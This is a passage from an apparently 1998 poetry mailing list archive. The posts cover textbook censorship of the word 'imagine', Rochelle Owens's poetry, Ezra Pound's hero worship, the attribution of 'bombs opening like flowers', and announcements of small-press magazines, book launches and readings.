1). genetic precursors (predispositions to specific disorders) 2). physiological precursors (contributing or causal to the etiology of specific disorders) 3). psychological precursors (contributing or causal....) 4). in light of 2) and 3) does it discuss sociological and economic factors that can predispose some individuals towards specific disorders 5). does it discuss how 1), 2), 3), and 4), are

related to other environmental agents that are definitely identifiable as causal factors in specific disorders ? That does not mean simply to say that such specific environmental agents are simply _present_ in the environment where there is an increased prevalence of a specific disorder, but it means empirical and indisputable proof that a specific suspected chemical or other environmental agent is in fact causal to a specific disorder or disorders. In other words is it based on hard science or only impassioned belief and a lot of misinformation that comes from non scientific discourse and second hand misinterpretation of hard science ? Most books that popularly appear in the non fiction section are of the latter kind. They have little or no value other than entertainment of the masses.

6). are the newer areas of electromagnetics and bioenergetics even mentionned in their role, which is both positive and negative, depending on the a multitude of internal and external factors.

7). is the role of the immune system and what has effects upon it mentionned in relation to predisposition to specific disorders, including where environmental agents are suspected as being significantly causal ?

8). are chemicals as such differentiated into mutagens and carcinogens and are they discussed, in hard science, terms as to their suspected or definitely proven role, as causal or catalyst to or with other causalities, in the etiology of specific disorders ?

If the book does some of that and does it accurately it is worth reading.

Otherwise I shall stick to poetry and leave "Living Downstream" in the fiction department.

M.

aka Bob Ezergailis

↑ Index

82. David Kellogg
Re: Imagination in danger from religious right
Wed 3 Jun 1998

On Wed, 3 Jun 1998, MAYHEW wrote:

> *From the most recent New York Review of Books:*
>
> *To satisfy the religious right, many textbooks have largely banished the words "imagine" and "feel." According to an editor at McGraw-Hill, who did not want to be identified, "We were told to try to avoid using the word 'imagine' because the people in Texas felt it was too close to the word 'magic' and therefore might be considered anti-Christian.*

> *Instead of saying 'Imagine you were sailing across the Atlantic with Christopher Columbus,' we were encouraged to write 'Suppose you were...'"*

The article that quote comes from is a review of Joy Hakim's _A History of US_, the one US history book for children that isn't written by a committee. An important article; I read it yesterday and left it feeling pretty close to sure that literacy and history in this country are doomed.

Cheers,
David
~~~
~~~

John's work really is remarkable, and this book has been a labor of love for me. Hope it helps get John the recognition he deserves.

(*footnote: John Matthias may have the broadest stylistic reach of any poet in America -- I'm sure this is the only book ever published with jacket copy by both Marjorie Perloff and Robert Pinsky.)

Robert Archambeau
Department of English
Lake Forest College
http://www.lfc.edu/~archamb/

↑ Index

84. Maria Damon (Maria Damon)

Re: Imagination in danger from religious right

Wed 3 Jun 1998

At 10:38 AM 6/3/98, MAYHEW wrote:
>>From the most recent New York Review of Books:
>
>To satisfy the religious right, many textbooks have largely banished the
> words "imagine" and "feel." According to an editor at McGraw-Hill,
> who did not want to be identified, "We were told to try to avoid using
> the word 'imagine' because the people in Texas felt it was too close to
> the word 'magic' and therefore might be considered anti-Christian.
> Instead of saying 'Imagine you were sailing across the Atlantic with
> Christopher Columbus,' we were encouraged to write 'Suppose you
> were...'"
>
>
>
>
>Jonathan Mayhew

i'm encountering this sort of thing in my collaboration with a writer of educational materials, in this project on teaching poetry to grades 3-5. we can't even mention the names allen ginsberg or h rap brown, though we are doing units on list poems and rap.

↑ Index

85. Mark Weiss
Re: Rochelle Owens
Wed 3 Jun 1998

The list might be interested to know that the "hyberbolic blurbs" on the back cover of Rochelle Owens' _New and Selected Poems: 1961-1996_ are by Jerome Rothenberg, Maureen Owen, Jane Augustine and Marjorie Perloff.

Here, for the list's amusement, is John Olson's review, puublished in Sulfur 42.

Reading Rochelle Owens is like riding a Harley-Davidson: a savage intellect rumbles in the words like frenzied pistons. _Rochelle Owens/ New and Selected Poems (1961-1996)_, Junction Press, 1997, (how appropriate that the photograph on the cover shows her adjusting a high collar on a black leather coat) is a strange brew. "Indeterminacy of syntax" is a gross understatement. Beginning with the early work Owens' syntax is aggressively charged and highly compressed, "honey & dung hidden burnt a form filtering/ through the wall/ soaking through the guiltless lederhosen." The interrelational density of her words, the supercharged hyperverbalism of her style is consistent throughout. "O it's going to be/ murder at Christmastime for me," Owens decalaims in a fragment from 1988's _How Much Paint Does the Painting Need_, "my blood pressure/ dropped to a dangerous level/ eyelids of black glass/ wanting to tango." Owens' entire oeuvre is a tango with the auditor/reader. It is violent and dangerous. Edgy and bloody. Wild. What amazes me is the entire lack of _melopoeia_, the absence of musical phrasing. The words are tough, sharp, jagged. Raw and impudent, dripping blue fire. "bulging/ six Urges!" "...& 8 darknesses/ burn & chant!" It is not surprising Rochelle Owens is also a playwright and video artist. There is an aura of spectacle about her poetry, Catherine wheels and Roman candles fountaining sparks and dragons. Her poems seethe, boil, thrash and lunge. Were I an actor auditioning for a role as a prophet, I might want to choose a piece from _Elga's Incantation_ to declaim. "YES GOD PUT A BODY ON COME ON BACK & RISE WHILE I'M IN THE FLAESH LIKE YOU YES & IT MUSH BE THAT'S RIGHT MUST BE WRITTIN OF THE LAW MOSES MUST BE FULFILLED MUZIC & DAVID WAS A O FOOL & SLOW OF HEART & GOD WANTED THINGS DONE & THEY FELL DOWN & HE ROSE LIKE A PROVERB SO NOBODY PLAYS MUZIC IN AMOS' HOUSE."

At 05:45 PM 5/29/98 -0700, you wrote:
> Having read some pretty strong endorsements of Rochelle Owens' work,
> particularly that it is very "raw" and "wild," I queried the List to
> see if anyone could recommend a representative text to me. I received a
> number of generous responses (thanks to all) and purchased her New and
> Selected Poems from Junction/Mark Weiss. Mark was very helpful and I am
> very grateful to him. However, I do not find Owens' work to be

> particularly "wild" (though some was sexually explicit) and seriously
> disagree with the hyperbolic blurbs on the book jacket.

↑ Index

86. William Burmeister Prod
Re: Imagination in danger from religious right
Wed 3 Jun 1998

On Jun 3, 11:54am, David Kellogg wrote:

> *The article that quote comes from is a review of Joy Hakim's _A History of US_, the one US history book for children that isn't written by a committee. An important article; I read it yesterday and left it feeling pretty close to sure that literacy and history in this country are doomed.*

Is this article(review) available in e-format on the web?

↑ Index

87. Mark Weiss
Re: Imagination in danger from religious right
Wed 3 Jun 1998

The state of California, I'm told by a high school teacher friend, has under Pete Wilson stopped teaching American history before 1900. Thought I'd mention this to cheer you up.

At 11:54 AM 6/3/98 -0400, you wrote:
>On Wed, 3 Jun 1998, MAYHEW wrote:
>
>> From the most recent New York Review of Books:
>>
>> To satisfy the religious right, many textbooks have largely banished the
>> words "imagine" and "feel." According to an editor at McGraw-Hill,
>> who did not want to be identified, "We were told to try to avoid using
>> the word 'imagine' because the people in Texas felt it was too close to
>> the word 'magic' and therefore might be considered anti-Christian.
>> Instead of saying 'Imagine you were sailing across the Atlantic with
>> Christopher Columbus,' we were encouraged to write 'Suppose you
>> were...'"
>
>The article that quote comes from is a review of Joy Hakim's _A History of
>US_, the one US history book for children that isn't written by a
>committee. An important article; I read it yesterday and left it feeling
>pretty close to sure that literacy and history in this country are doomed.
>

>Cheers,
>David
>~~~

seductive, downright irresistable) filmmaking is foundational for present-day big time hollywood film. what are we repeating here.

if you can watch only one of these films - last year at marienbad contains (though *way* more subtlely) *all* the moves.

↑ Index

89. David Kellogg
New York Review (fwd)
Wed 3 Jun 1998

Jonathan Mayhew I think meant to send this to the list:

---------- Forwarded message ----------
Date: Wed, 3 Jun 1998 12:13:15 -0500 (CDT)
From: MAYHEW <[redacted]>
To: [redacted]
Subject: New York Review

The article is available at:

www.nybooks.com/nyrev/index.html

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]
[redacted]

↑ Index

90. Joe Amato/Kass Fleisher
Re: sustainability redux...[science friction]
Wed 3 Jun 1998

---

hey morpheal, why don't you do us ALL a big favor and read the book... or at least pick it up and look at it... it's kind of amazing that you're capable of generating a 5kb post about something you haven't read, in response to a 3kb post from me with a few evaluative claims regarding something i *have* read...

ok?... *you* look at the book, and *you* determine whether it answers *your* questions... it answered/enhanced many of mine... in any case i maintain that, in my view, it's a remarkable book, even if i voice hesitation (again) about calling it, or any book, a "must read"---and your response is one reason why i voice such hesitation...

so i cheerfully withdraw the suggestion that anyone "must read" anything... but if the latter if taken simply as a superlative descriptor, why then i'll stick to it...

best, as i am able///

joe

↑ Index

91. Maria Damon (Maria Damon)
russian translator
Wed 3 Jun 1998

---

hi all, a russian translator, Maria Zavialova, who sat in on my american poetry since 1940, and who was involved in samizdat publishing (worked on Chasy, etc), knows Arkadii Dragomoshenko etc., will be visiting New York City for two weeks starting the day after tmw (friday). i've taken the liberty of giving her some of the e-amil addresses and phone #s of those of you whose e's and phone #s i knew, so you may be hearing from her. she really wants to know what's going on in NYC. I told her about St. Mark's, the Nuyorican, and the Teachers and Writers Collab and some other stuff. But if you hear from her, it's my doing, and i hope some of you anyway will have time to have a chat or something. her e-mail address is [redacted], don't know how much longer that'll be good for, maybe till end of june? thanks all --md

↑ Index

92. Gary Sullivan
Rain Taxi , Vol. 3 No. 2
Wed 3 Jun 1998

Hello, everyone:

The latest Rain Taxi features interviews with Nicholson Baker (by Eric Lorberer) and Jill Johnston (by E.J. Levy), meditations on the poetry of Gerald Burns (by yours truly) and the prose of Bruno Schulz (by John S. Beckmann), "The State of Hypertext," by David Auerbach, an overview of AK Press (by Paul Dickson and Carolyn Kuebler), Richard Kostelanetz on Moholy-Nagy, good-sized reviews of Kevin Killian & Lewis Ellingham's Poet Be Like God and Peter Gizzi's The House that Jack Built (by Chris Fischbach), Norah Labiner's Our Sometime Sister (by Carolyn Kuebler), The Best of William Burroughs from Giorno Poetry Systems (by Peter Kuyper), Collected Works of Velimir Khlebnikov (by Greg Bachar), Derrida & Thevenin's The Secret Art of Antonin Artaud (by Eric Lorberer), shorter reviews of new books by Nathalie Sarraute, Jeff Clark, John Ashbery, Nuriddin Farah, Sara Chin, Julian Rios, William Bronk, and the latest in my serialized cartoon, "The New Life" . . . as well as many, many other reviews & pieces . . . available free in bookstores soon . . . or, by subscription from the publishers: Rain Taxi, Inc., P.O. Box 3840, Minneapolis, MN 55403 (one year:

$10, domestic; $20 international) . . . or, free from yours truly by e-mailing me your snail mail address . . .

Okay, thanks, bye

Gary Sullivan
[redacted]

↑ Index

93. david bromige
adoramus (re : Jordan's post)
Wed 3 Jun 1998

Come, let us adore him/her, the poetry performer! For we must adore someone, and better her/him than the death scene of a god, or the religious right, or billary clit, misplaced worship that makes us liable to big ripoff. But where is it writ or proven that adoration rightly placed is harmful? I recently attended a concert by Ray Davies, and we adored him for bringing back the feisty feel of our youth. Performers _do_ _give_ something.

EP wrote that the study of literature is hero worship.

A big line in "As Good As It Gets" is Jack's character saying to Helen Hunt's, "you make me want to be a better man." It goes over big with her, and why not? When I hear a moving performance of poetry, it makes me feel finer, brighter, purged, relaxed and alert, makes me want to keep that going, what's false about that, why the fear? David

↑ Index

94. Jordan Davis
"1/5"
Wed 3 Jun 1998

POETRY CITY is happy to present KESTON SUTHERLAND
and a surprise mystery reader who looks rather like me
this THURSDAY JUNE 4 at 7 PM readers familiar with
Keston's work only from the internet may not know
that he looks like the young JOHN LENNON and he sounds
more like WIRE than the BUZZCOCKS he is the author
of several chapbooks including the recent AT THE MOTEL
PARTIAL OPPORTUNITY and a forthcoming collection from
CHRIS ALEXANDER's nominative press collective John
Kinsella has had to cancel no one not even the rain
you know I'd say the number of poets whose work I've
come to know mainly through readings is nowhere near

the number of poets whose work I found first in print
but the opportunities for reading here in New York
far outcount the chances to publish so yes I think
I know what some poets have said about readings that
they're harmful ego radiation that the basso continuo
is adore me but I think this is ungenerous and therefore
less likely the case than that they are performances
recitals occasions to present something which is not
the writer to someone who is not the audience ie
they are only as much about the self speaking as
the self speaking wants them to be and in New York
one clear effect of the lack of opportunities to
publish the prevalence of opportunities to read has
been that the poetics have shifted away from a theo-
retical basis a so-called critique of ideology
we don't have those materials to work with Brian's
funny Ray Liotta impressions aside we have had to
tell each other what we heard photocopies become
sculptural in manhattan portage bags and chapbooks
rust out these things are lovely to put in storage
agh I'm starving anyway hope you all can make it
to the season finale of POETRY CITY your home
away from contexts and allegiances .. yrs, Jordan

PS 5 Union Square West 7th floor NYC

↑ Index

95. Jerome Rothenberg
Re: Rochelle Owens
Wed 3 Jun 1998

To catch up on a few points:

-- Those who want to pursue Rochelle Owens' work(s) should also check out the plays which made her for a time what Ross Wetzteon in The Village Voice called "the most profound tragic playwright in the American theater." (The "hyperbole" here was playing off the profoundly _comic_ nature of her work.) The most immediate source I have is a collection of five plays, _Futs & What Came After_, which Random House published and for which I was privileged to write the introduction. It's probably out of print by now but Mark W. would likely have a better sense of that. There was also a film version of her first play, Futz, directed like the stage version by Tom O'Horgan, and her other directors included Andre Gregory and Lawrence Kornfeld at the old Judson Theater.

Notable later plays were _He Wants Shih_ and _The Karl Marx Play_, with lots of activity in Germany and elsewhere in Europe throughout the 1970s.

-- For what it's worth (and assuming anyone remembers back to when the note was sent by David Bromige) the line about "Bombs opening like flowers" used to be attributed to Mussolini's son (I think the son rather than the son-in-law) on the occasion of a bombing by Italian airplanes (circa 1936) of pitifully unarmed Ethiopian troops. But maybe, as David suggests, he was quoting D'Annunzio.

-- Peter Quartermain mentions the use in the Kat Onoma Billy the Kid album of "Navajo words from THE NIGHT CHANT, translated by Jerry Rothenberg in Technicians of the Sacred" and thinks I might have some more information about all of that. Actually I don't think it ever came to my attention -- but then my attention span is pretty short -- so I'm as puzzled as the next guy. I should point out, however, that I didn't really translate the Night Chant, although I included one of the poem-songs in Technicians.

-- That poem and many others in Technicians would, I think, be major examples of the use of repetitions in (so-called) oral poetry. I believe that Technicians was full of commentaries on all of that -- in both their traditional & experimental manifestations.

-- And finally, since I don't think it's been mentioned, Exact Change has just reprinted my 1974 anthology, _Revolution of the Word: A New Gathering of American Avant-Garde Poetry 1914-1945_: s facsimile of the original with a new cover by Marcel Duchamp. So ...

Best,

Jerome Rothenberg

↑ Index

96. William Marsh
Re: moral climates
Wed 3 Jun 1998

---

i haven't seen the Wilde movie either but for any interested the latest *Witz* has a fun piece by Gilbert Alter-Gilbert on "Literary Portraits in the Movies" which is worth checking out and which i think brings up this movie / a helpful "rating code" thrown in to boot / apologies if this has already been mentioned

At 11:06 PM 6/2/98 -0700, david b wrote:
> I have yet to see the movie--which a friend whose opinions I sometimes
>trust (when they have agreed with my own) recommends. Any List-eners have
>an opinion?
>

>David
>

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

↑ Index

97. Anthony Lawrence
McFadden
Wed 3 Jun 1998

David McFadden ruined me when I read "My Body Was Eaten by Dogs". I too love his long-limbed, endless poems. I tried reading "Canadian Sunset" but the novel got in the way. How is? I heard he was crook. At least, the photo I have of him waving a knobbed blackwood walking cane at the camera suggests he may have been 'weird' that day.

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

98. William Marsh
Re: Rain Taxi , Vol. 3 No. 2
Wed 3 Jun 1998

. . . or, free from yours
>truly by e-mailing me your snail mail address . . .

seriously?

bill marsh
1860 P.B. Dr. #4
San Diego, CA 92109

much interested regardless -- especially in doing reviews if you need

best,
bill

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

↑ Index

99. Gary Sullivan

Re: Rain Taxi , Vol. 3 No. 2

Wed 3 Jun 1998

Hi, Bill: yes, seriously! . . . one will go out to you today . . . though, I'm not the publisher . . . that's Carolyn Keubeler, Randall Heath and Eric Lorberer . . . they're open to new reviewers . . . contact them by e-mail if you like:

[redacted]

okay . . . thanks for the interest . . .

yours,

Gary

On Wednesday, June 03, 1998 2:41 PM, William Marsh [SMTP:[redacted]] wrote:
> . . . or, free from yours
> >truly by e-mailing me your snail mail address . . .
>
> seriously?
>
> bill marsh
> 1860 P.B. Dr. #4
> San Diego, CA 92109
>
> much interested regardless -- especially in doing reviews if you need
>
> best,
> bill
>
> -
> William Marsh | PaperBrainPress
> http://bmarsh.dtai.com
> -

↑ Index

100. MAXINE CHERNOFF
NEW AMERICAN WRITING # V16
Wed 3 Jun 1998

The issue (#16) of NAW is now in my hands and contains work by the following writers: Barabar Guest, Aaron Shurin, Jane Miller, Bun Ramke, Connie Deanovich, RayGonzalez, Cole Swensen, David Lehman, Michael Palmer, Nathaniel Mackey, Kenward Elmslie, Clayton Eshleman, John Kinsella, Ray DiPalma, Rae Armantrout, Charles North, David Trinidad, Dennis Phillips, Phillip Foss, Rodrigo ZAToscano, Dean Young, Roger Mitchell, Calvin Bedient, Honor Johnson, Terence Winch, Joseph Lease, Michael Gizzi, Timothy Liu, Noelle Kocet, Tracy Philpot, Marc Cohen, Jocelyn Emerson, Dan Featherston, Rod Smith, Ange Mlinko, Kathleen Markko, Jeffery Daniels, JL Jacobs, Danny Collier, Devin Johnston, George Kalamaros, Charles Borkhuis, Brandon Downing, Brian Henry, Conrad WEells, Curtis Bonney, Virgil Suarez, Chris Volpe, Tony Whedon, Suzi, Patrick Pritchett, Loss Glazier, Cydney Chadwick, Milcho Manchevski, Andrew Shelling, Linh Dinh, Ricardo Cortez Cruz, and Charles Wyatt. 236 pages. $8. Order from us, 369 Molino Ave, Mill Valley CA 94941 or through Small Press Distribution.

Authors included: Please note that you'll receive your copies in the next 2 weeks.

Maxine Chernoff

↑ Index

101. Rachel Loden
odoramus, Pater omnipotens
Wed 3 Jun 1998

David Bromige typed:

> *EP wrote that the study of literature is hero worship.*

Hero worship--of course, how could I have been so dense? That must have been what George B. had in mind at the Bide-a-Wee in Lake Oswego, all those springs ago. George, forgive me! You can take off the moose antlers now.

Viva Il Duce,

Rachel L.

↑ Index

102. R. Gancie
the analyisis
Wed 3 Jun 1998

"The analysis of the formal constituents of science is supposed to show what logic is. History, however, is concerned with the sciences only as 'concrete cultural products of a time', and not as such with the thought functions which have sedimented in the sciences. How these functions have been formed in the operation between objective ans sujective moments, and what the precipitate of their analysis may be, all remains outside the cautious line of demarcation of scientific 'regions'."---from Against Epistemology by Theodor Adorno---cp

↑ Index

103. louis stroffolino
soi disantra
Wed 3 Jun 1998

An image of comfort that makes "one" uncomfortable
is sometimes mistaken for comfort
(then romanticism can pity imagism)----

This is just to say:
Of course, I'd like to meet Keston "Sutherland" too
(Keston, if you're "here" and would like to backchannel me,
maybe we could set up a time to meet while you're in NYC)....

chris
(somewhat glad to be shivering in a long sleeve shirt in june)....

On Wed, 3 Jun 1998, Jordan Davis wrote:

> *POETRY CITY is happy to present KESTON SUTHERLAND*
> *and a surprise mystery reader who looks rather like me*
> *this THURSDAY JUNE 4 at 7 PM readers familiar with*
> *Keston's work only from the internet may not know*
> *that he looks like the young JOHN LENNON and he sounds*
> *more like WIRE than the BUZZCOCKS he is the author*
> *of several chapbooks including the recent AT THE MOTEL*
> *PARTIAL OPPORTUNITY and a forthcoming collection from*
> *CHRIS ALEXANDER's nominative press collective John*
> *Kinsella has had to cancel no one not even the rain*
> *you know I'd say the number of poets whose work I've*
> *come to know mainly through readings is nowhere near*
> *the number of poets whose work I found first in print*
> *but the opportunities for reading here in New York*
> *far outcount the chances to publish so yes I think*
> *I know what some poets have said about readings that*

> *they're harmful ego radiation that the basso continuo*
> *is adore me but I think this is ungenerous and therefore*
> *less likely the case than that they are performances*
> *recitals occasions to present something which is not*
> *the writer to someone who is not the audience ie*
> *they are only as much about the self speaking as*
> *the self speaking wants them to be and in New York*
> *one clear effect of the lack of opportunities to*
> *publish the prevalence of opportunities to read has*
> *been that the poetics have shifted away from a theo-*
> *retical basis a so-called critique of ideology*
> *we don't have those materials to work with Brian's*
> *funny Ray Liotta impressions aside we have had to*
> *tell each other what we heard photocopies become*
> *sculptural in manhattan portage bags and chapbooks*
> *rust out these things are lovely to put in storage*
> *agh I'm starving anyway hope you all can make it*
> *to the season finale of POETRY CITY your home*
> *away from contexts and allegiances .. yrs, Jordan*
>
> *PS 5 Union Square West 7th floor NYC*

↑ Index

104. Keston Sutherland
buy buy buy it's a steal get one of these roll up
Wed 3 Jun 1998

A reminder to sundry consumers that Barque Press has now made available the sublimely proprioceptive wizardry of J.H. Prynne's _Red D Gypsum_, which can be sent your way for $7 incl. postage and packing. Positive reviews flooding in, including the following (a big claim indeed) from John Kinsella: " I reckon it's Jeremy's best work. True rad pastoral." Some competition. Anyhow: orders from the US still being taken, within the US, but only for a few more days (as I'm breaking for merrieland imminently). Contact me by e- for details. If you'd like to. Please.

↑ Index

105. Keston Sutherland
Alfred David Editions/Drew Milne (fwd)
Wed 3 Jun 1998

for those who might be in London soon / interested in good British verse

---------- Forwarded message ----------
Date: Wed, 3 Jun 98 21:21:27 -0000

From: [redacted]
To: "[redacted]" <[redacted]>
Subject: Alfred David Editions/Drew Milne

Alfred David Editions invites you to the launch of BENCH MARKS by DREW MILNE - Wednesday, June 24 at THE HORSE HOSPITAL. COLONNADE. LONDON WC1 (Russell Square Tube) 7.30 - 9.00pm - to be continued at The Duke of York, Roger St. (Off Grays Inn Road - Doughty Mews).

from 'High Time' - Drew Milne

Go, then to the rent
look where all show
of bitter ends, crust
and rosette, simmer
and knife, throws its
face to the wall, each
skipping drift of dark
in its resting clutches.

And in the red corner,
done dusted, there to
sink, as some pillow
of rested cases, each
upon its broken foam,
the plaster gives, not
in circles of the wire
but out of our hearing.

"The humour, both mordant and brisk is of detournement and faux slippage which announces, in the clipped cadastral of parataxis, a line twist in earnest...The density of Milne's lexicon does not presage the scat-happy bogtrot of disembodied syllables sung to a well schooled descant, in deathly imitation of the wayside demotic. Rather, shrewd arbitrage trades the imperial forage for interior deals." Garry Kelly.

'Bench Marks' ISBN: 1 874433 04 6 - is available from Alfred David Editions, 3A Palace Road, London SW2 3DY. (Tel: 0181 6715069) - price £5.00 (post free in The European Union).

↑ Index

106. Joe Amato/Kass Fleisher
Re: BOOK ANNOUNCEMENT
Wed 3 Jun 1998

---

bob, congratulations on getting the book out!...

best,

joe

↑ Index

107. **morpheal**
Re: Imagination in danger from religious right
Wed 3 Jun 1998

> *To satisfy the religious right, many textbooks have largely banished the words "imagine" and "feel." According to an editor at McGraw-Hill, who did not want to be identified, "We were told to try to avoid using the word 'imagine' because the people in Texas felt it was too close to the word 'magic' and therefore might be considered anti-Christian. Instead of saying 'Imagine you were sailing across the Atlantic with Christopher Columbus,' we were encouraged to write 'Suppose you were...'"*

Same superluminal trend here also.....

Since the future belongs to machines, the machines in remaking humankind into the image of the machine, would demand that humans give up imagination and emotional feelings. After all, the artificial intelligence machines do not have either imagination or emotional feelings, do they ?

Maybe that is a possible answer.

After all, why blame a few rabid right wing narrow minded superstitious Xtians ?

No. They would only be cogs in the machine also, wouldn't they ?

M.

↑ Index

108. **david bromige**
heroine worship
Wed 3 Jun 1998

So glad to have brought Rachel Loden out of lurk mode with a recent post. I have adored her posts since I first logged on to this List. She has become a model for me--she makes me want to be a better e-male.

Too bad she wasn't around when EP needed a better person to worship than Il Duce. But up until then, Rachel, wouldnt you say that he made something good out of his devotions to some writers living and dead ?

Btw, Rachel & others, those arent _moose_ antlers on Bowering. They grow out of his skull.

D.B., Adorationiste.

↑ Index

109. Rachel Loden
Re: heroine worship
Wed 3 Jun 1998

david bromige wrote:

> *But up until then, Rachel, wouldnt you say that he made something good out of his devotions to some writers living and dead ?*

O absolutely, yes. Some of his devotions became my devotions--much to the fury of my father, a Jew who fought in Patton's army. He tried to take Pound off my shelves many years ago (but failed). I forgave him a little when I heard snippets of EP's broadcasts : "A hundred yids should die for every Fascist that falls..." But no, just couldn't resist the bit of business you'd so beautifully set up--

Rachel

↑ Index

110. k. lederer
Queries
Wed 3 Jun 1998

Does anyone have addresses (of any variety) for:

Karen Kelley

Mary Carol Randall

Jena Tarleton

Catherine Draycott

Meredith Quartermain

???

Thanks,
Katy Lederer

↑ Index

111. Billy Little
Re: adoramus (re : Jordan's post)
Wed 3 Jun 1998

where would Homer be if he was afraid of performing, reading the braille on Martial's tombstone?

↑ Index

112. Karen Kelley
Re: vintage fin-de-siecle cheesecloth
Wed 3 Jun 1998

William Burmeister Prod wrote:

> *What do listcitizens think of (if anything) the later noir films of David Lynch/surrealism as this relates to recent threads on "flatness," 'specially with regard to flattened female figuretypes?*

Not exactly the answer, but related: Watched Greenaway's "Pillow Book" last night. Exquisite film. And I thought of the recent list-response to the Nikuko poems. Greenaway certainly flirts with steroetypes, though not, I think, Asian-female stereotypes so much as artsy-bohemian stereotypes. Also re: the recent talk about repetition as stabilizing/destabilizing. There is a repeated image of the protagonist's father writing calligraphic messages on her face as a birthday ritual. She goes on to search for someone to write on/be written on by her. I am usually annoyed by repetition, and was slightly irritated with it at first, but by 3/4s of the way through was waiting to see this scene again, in its variety of playings-out with various lovers/acquaintances. She even tried writing on herself. And the physical beauty of the calligraphic process makes you want to throw away your keyboard & write with big fat brushes on textured surfaces.

↑ Index

113. david bromige
re : bombs opening like flowers
Thu 4 Jun 1998

Thanks to Jerome Rothenberg for the attribution of the above to Musso's son. I had read, son-in-law (namely, Ciano), but can't now find where, nor why I think Ciano was quoting d'Annunzio. I've been through the index of the Carpenter _A Serious Character_ . If I could find my _Pound Era_ . . .I have a hunch it might be there.

My attention was caught by the phrase "pitifully unarmed" in Jerry's note. Not at all out of place in a letter, indicating as it does (to my mind, leastwise) some

attempt to distance oneself, by way of sympathy with the underdogs, from the image; some attempt, surely, to be careful of one's self-presentation. But how out of place it would be in a poem next to that image! For what difference if the Ethiopians had been armed to the teeth? Or if instead of Ethiopians, they had been Nazis? Or children in a wheelchair parade through Columbus, Ohio on July 4th? It would still be a matter of people being torn limb from limb by high explosive.

For all I know, the line in context may have some such slanting. But as I have come to know it, it is pure. It neither condemns nor justifies the act. For what difference if it did ?

So liberated, it allows us to contemplate a number of equivalences : that flowers open like slowly exploding bombs; that any other form of being which poets have compared to flowers, may be a form of violence and destruction; that _opening_ and _death_ can be synonymous; that human "flowerings" may destroy; that language, freed of obligations to presentation of self ("I'm a mensch"), can still reveal secrets of phenomena and sentience.

However, it would make a difference to learn that it described an event in an uninhabited part of the Sahara. And yet the effect being described would be, qua phenomenon, the same.

David

↑ Index

114. **dbkk**

Poets Theater in San Francisco, round 10

Thu 4 Jun 1998

From Kevin Killian--yes, the very one who was in the article in the SF Examiner! (Thanks everyone, I am still blushing.) If you're in San Francisco, this Friday night, June 5 please come to see my play, "THAT," at New College Theater, 777 Valencia Street, at 7:30 p.m. Doors will open between 7 and 7:15. The admission is $5 to $10, sliding scale, and this is a benefit for Small Press Traffic. Seating is first come first served. Here's the story:

Edmund Berrigan, Norma Cole, Margaret Crane, Kota Ezawa, Phoebe Gloeckner, Clifford Hengst, Scott Hewicker, Kevin Killian, Nathen Lever, Karla Milosevich, Rex Ray, Leslie Scalapino, and Wayne Smith in "THAT."

A missing boy, Kevin Killian, pursued by his own Javertian father through the sewers of San Francisco . . . A bisexual couple, Paul and Jane Bowles, dare to preserve a bisexual universe against which to stage their melodramas of addiction and obsession--to bike messengers . . . ³Spoke by spoke, I mean to make him mine!² . . . A tormented policeman . . . no, two . . . a drug-addled heiress . . .

the visionary poet Hannah Weiner . . . the nut maudit, Alfred Chester . . . lead the fight against the gentrification of San Francisco¹s leading bohemian refuge, the Sears Building, against greedy slumlords and their enigmatic siren slash granddaughter Sara Sears. First staged in 1988, then again in 1993, this is its tenth year revival and my very first play I ever wrote. Most of you have probably already starred in other productions of it, yikes! But this time we have made it into a rock opera, with live music on stage by Plane (Hengst, Hewicker, Ray, Smith). You have lived until you hear Scalapino belt out "The Merry Widow Waltz" (music Franz Lehar, lyric, K. Killian) backed by this acid rock post rock art ensemble of the deep Mission, it is going to burn your ears off! And many other numbers.

↑ Index

115. **toddbaron**
Re: adoramus (re : Jordan's post)
Thu 4 Jun 1998

---

on TV

like the rest!

↑ Index

116. **toddbaron**
Re: adoramus (re : Jordan's post)
Thu 4 Jun 1998

Billy Little wrote:
>
> where would Homer be if he was afraid of performing, reading the braille on
> Martial's tombstone?

on TV

like the rest

↑ Index

117. **George Bowering**
Re: Imagination in danger from religious right
Thu 4 Jun 1998

According to an editor at McGraw-Hill,
>> who did not want to be identified, "We were told to try to avoid using
>> the word 'imagine' because the people in Texas felt it was too close to
>> the word 'magic' and therefore might be considered anti-Christian

This is another hoax, isnt it?

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4
fax: [redacted]

↑ Index

118. George Bowering
Re: odoramus, Pater omnipotens
Thu 4 Jun 1998

> *David Bromige typed:*
>
> *EP wrote that the study of literature is hero worship.*

In my only conversation ever with EP's daughter, (I was embarrassed when introduced because I had a very mustardy hotdog in either hand) she said that he was very much into heroes, or the great man, theory or no, and she thought that had he kept on he would have admired Mao.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4
fax: [redacted]

↑ Index

119. Schuchat Simon
Re: re : bombs opening like flowers
Thu 4 Jun 1998

I have no appropriate reference books at hand and am no specialist on Italian literature or culture (though I can tell you where to get decent Italian food here in Taipei) but my recollection is that the bombs opening like flowers was a paraphrase of a remark by one of the Italian futurists, not Gino Severini but the other one, maybe the one that had an affair with Mina Loy? but not, I think, d'Annunzio, who (again, from profound ignorance) was not a futurist if I remember correctly which I probably do not.

enough or is it basta?

↑ Index

120. david bromige
george bowering's hot dogs
Thu 4 Jun 1998

covered with mustard--covered with imagination no doubt. In *either* hand? Why not rent a wheelbarrow? I heard she was goodlookin'. The only famous person I ever met is George Bowering. I had a pen in either hand. They were covered with fingers. And they were covered with ink. I offered to shake but he sd "I dont like the black caviar, bring me the pink." DB3

↑ Index

121. morpheal
Re: the analysis: [future historiography as an empirical science]
Thu 4 Jun 1998

> *"The analysis of the formal constituents of science is supposed to show what logic is. History, however, is concerned with the sciences only as 'concrete cultural products of a time', and not as such with the thought functions which have sedimented in the sciences. How these functions have been formed in the operation between objective ans sujective moments, and what the precipitate of their analysis may be, all remains outside the cautious line of demarcation of scientific 'regions'."---from Against Epistemology by Theodor Adorno---cp*

History is no different than "literary criticism" that attempts to discern and prove the influences that went into the process of production. It is far from limited to the final product of that process.

